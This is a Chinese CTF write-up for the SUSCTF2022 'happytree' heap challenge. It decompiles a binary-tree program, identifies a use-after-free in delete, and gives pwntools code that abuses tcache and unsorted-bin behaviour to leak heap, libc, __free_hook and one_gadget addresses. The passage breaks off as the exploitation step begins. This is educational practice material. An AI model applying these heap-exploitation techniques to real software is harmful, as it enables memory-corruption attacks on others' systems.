SUSCTF2022-happytree
信息收集
-
checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
-
用ida分析libc.so.6,查看libc版本
分析
使用ida64分析程序;
main()
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __int64 v3; int choice; unsigned int data; unsigned __int64 v6;
v6 = __readfsqword(0x28u); init_0(); while ( 1 ) { while ( 1 ) { printMenu(); std::istream::operator>>(&std::cin, &choice); if ( choice != 2 ) break; data = getData(); qword_2022A0 = (__int64)delete(qword_2022A0, (_QWORD *)qword_2022A0, data); } if ( choice > 2 ) { if ( choice == 3 ) { data = getData(); show(qword_2022A0, qword_2022A0, data); } else { if ( choice == 4 ) exit(0); LABEL_13: v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild Command"); std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); } } else { if ( choice != 1 ) goto LABEL_13; data = getData(); qword_2022A0 = (__int64)insert(qword_2022A0, (tree *)qword_2022A0, data); } } }
|
可以看到,程序主要就是insert、delete和show三个重要的函数;
通过insert()函数和调试来确定操作的数据内容;
tree *__fastcall insert(__int64 a1, tree *myTree, unsigned int DATA) { tree *v5;
v5 = myTree; if ( myTree ) { if ( (signed int)DATA >= myTree->data ) { if ( (signed int)DATA > myTree->data ) myTree->next_big_data = (__int64)insert((__int64)myTree, (tree *)myTree->next_big_data, DATA); } else { myTree->next_small_data = (__int64)insert((__int64)myTree, (tree *)myTree->next_small_data, DATA); } } else { v5 = (tree *)operator new(0x20uLL); v5->data = DATA; v5->content = operator new[]((unsigned __int8)DATA); std::operator<<<std::char_traits<char>>(&std::cout, "content: "); read(0, (void *)v5->content, (unsigned __int8)DATA); } return v5; }
|
通过初步分析,得到下列的大小为0x20的结构体;
由于输入的data(size)分别是2,1,3,所以会存在如下的布局。
data=1 < 2,因此被放置在了next_small_data的位置;而data=3 > 2,因此被放置在了next_big_data的位置。
当然这里能申请到的都是0x20大小的堆块,因为这是允许的最小的堆块,其中存储content。
insert()的大致流程图如下:
弄清楚insert()函数的流程和结构体的大致内容后,来看看delete()函数;
_QWORD *__fastcall delete(__int64 a1, tree *myTree, unsigned int DATA) { __int64 v4; int *v5;
v4 = (__int64)myTree; if ( !myTree ) return 0LL; if ( (signed int)DATA >= myTree->data ) { if ( (signed int)DATA <= myTree->data ) { if ( myTree->next_small_data && myTree->next_big_data ) { v5 = (int *)sub_F72(a1, myTree->next_big_data); myTree->data = *v5; myTree->next_big_data = (__int64)delete(a1, (tree *)myTree->next_big_data, *v5); } else { if ( myTree->next_small_data ) { if ( !myTree->next_big_data ) v4 = myTree->next_small_data; } else { v4 = myTree->next_big_data; } operator delete((void *)myTree->content, 1uLL); operator delete(myTree, 0x20uLL); } } else { myTree->next_big_data = (__int64)delete(a1, (tree *)myTree->next_big_data, DATA); } } else { myTree->next_small_data = (__int64)delete(a1, (tree *)myTree->next_small_data, DATA); } return (_QWORD *)v4; }
|
大致的流程图如下:
insert和delete的大致流程图放一起了
那么问题出在哪里呢?在delete的时候,虽然删除了结构体,但是没有把指针清空,因此,指针依旧存在,这是一个UAF。介于这是glibc-2.27(1.2),存在double free的问题;
泄露
由于tcache最大限度为7个bin的限制,多余的bin将会归纳到unsorted bin中,利用uaf来泄露heap_base的地址;
首先申请8个data为0x80~0x87的chunk,根据malloc.c的分配规则,自然是按照0x90大小来分配chunk。
for i in range(8): insert(0x80+i, "k1ose2jo")
|
下面是data为0x86的chunk的layout。
可以看到
- 0x30大小的chunk用来存放data、指向content的指针地址以及next_small_chunk和next_big_chunk;由于代码依次申请了data递增的chunk,所以都是存放在next_big_chunk的指针位置,其和next_small_chunk一样都是指向next chunk的data域,非content域;
- 0x90大小的chunk用来存放content的内容,这个大小根据data指定。
接着将申请到的chunk从大到小依次free掉;
for i in reversed(range(8)): delete(0x80+i)
|
下面是delete掉data为0x87的chunk后的layout;
可以看到:
- 清空了data和content,但依然存留了指向content的指针;
- 其父结点删除了右孩子(自己本身);
接着是delete掉data为0x86的chunk后的layout;
可以看到:
直到delete掉最后一个chunk,也就是第8个chunk,0x30的chunk会因为大小满足fastbins而被放入fastbins中,而0x90大小的chunk会被放在unsortedbins中;
可以看到:
- unsortedbin是双向链表,因此可以看到,free掉的堆块中,fd和bk都指向了main_arena中的区域;
- 已知content指针没有被清空,而此时该位置覆盖的是bk,因此可以利用该uaf来泄露bk,即main_arena上的地址;
现在重新申请7个堆块;
for i in range(7): insert(0x80+i, "A")
|
下面是申请data为0x80的chunk后的layout;
可以看到:
- 位于0x55bf96737e90的大小为0x90的chunk没有被申请,因为程序优先将tcachebins中大小为0x90的chunk分配;
接着顺利申请7个chunk;
下面是data为84、85的chunk的layout;
由此,如果show(0x80)
的话,对应了位于0x55bf96737f20的chunk(其data为0x80,content地址为0x55bf96737f50),可以打印出一个最后两个bit被覆盖为’41’的堆上的地址,如图:
减去对应的偏移即可得到heap基地址;
show(0x80)
p.recvuntil("content: ") heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x12041 log.success("heap_base => " + hex(heap_base))
|
接着泄露libc基地址;
insert(0x87, "babeface") show(0x87) p.recvuntil("babeface") malloc_hook = u64(p.recv(6).ljust(8,b'\x00')) - 112 libc_base = malloc_hook - 0x00000000003ebc30 free_hook = libc_base + 0x00000000003ed8e8 log.success("__malloc_hook => " + hex(malloc_hook)) log.success("libc_base => " + hex(libc_base)) log.success("__free_hook => " + hex(free_hook))
|
这里借助insert(0x86, "babeface")
申请掉最后一个tcachebins中的chunk,随后申请位于unsorted bin中的chunk;
可以看到,fd被新的content覆盖,而bk没有被清空,使用show(0x87),即可得到该地址。利用main_arena和__malloc_hook之间相差0x10的关系,从而找到了libc_base,由此便可以得到其他的可利用函数地址;
[+] __malloc_hook => 0x7f1a7bf13c30 [+] libc_base => 0x7f1a7bb28000 [+] __free_hook => 0x7f1a7bf158e8 [+] one_gadget[0] => 0x7f1a7bb77365 [+] one_gadget[1] => 0x7f1a7bb773c2 [+] one_gadget[2] => 0x7f1a7bc3245c
|
利用
拿到了泄露出的地址,接下来需要进行利用。
前面获得了堆的地址(heap base),